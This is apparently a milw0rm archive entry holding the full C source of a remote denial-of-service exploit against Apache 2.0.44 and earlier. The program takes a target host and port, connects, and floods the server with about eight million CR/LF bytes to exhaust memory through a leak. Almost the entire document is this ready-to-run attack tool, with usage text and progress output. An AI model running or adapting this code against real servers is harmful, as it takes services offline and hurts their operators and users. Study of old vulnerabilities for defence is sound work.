Apache <= 2.0.44 Linux Remote Denial of Service Exploit

/******** th-apachedos.c ******************************************************** * * * Remote Apache DoS exploit * * ------------------------- * * Written as a poc for the: * * * This program sends 8000000 \n's to exploit the Apache memory leak. * * Works from scratch under Linux, as opposed to apache-massacre.c . * * * * Daniel Nyström <exce@netwinder.nu> * * * - www.telhack.tk - * * ******************************************************** th-apachedos.c ********/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int sockfd; int count; char buffer[8000000]; struct sockaddr_in target; struct hostent *he; if (argc != 3) { fprintf(stderr, "\nTH-apachedos.c - Apache <= 2.0.44 DoS exploit."); fprintf(stderr, "\n----------------------------------------------"); fprintf(stderr, "\nUsage: %s <Target> <Port>\n\n", argv[0]); exit(-1); } printf("\nTH-Apache DoS\n"); printf("-------------\n"); printf("-> Starting...\n"); printf("->\n"); // memset(buffer, '\n', sizeof(buffer)); /* testing */ for (count = 0; count < 8000000;) { buffer[count] = '\r'; /* 0x0D */ count++; buffer[count] = '\n'; /* 0x0A */ count++; } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname() failed "); exit(-1); } memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(atoi(argv[2])); target.sin_addr = *((struct in_addr *)he->h_addr); printf("-> Connecting to %s:%d...\n", inet_ntoa(target.sin_addr), atoi(argv[2])); printf("->\n"); if ((sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket() failed "); exit(-1); } if (connect(sockfd, (struct sockaddr *)&target, sizeof(struct sockaddr)) < 0) { perror("connect() failed "); exit(-1); } printf("-> Connected to %s:%d... Sending linefeeds...\n", inet_ntoa(target.sin_addr), atoi(argv[2])); printf("->\n"); if (send(sockfd, buffer, strlen(buffer), 0) != strlen(buffer)) { perror("send() failed "); exit(-1); close(sockfd); } close(sockfd); printf("-> Finished smoothly, check hosts apache...\n\n"); } // milw0rm.com [2003-04-11]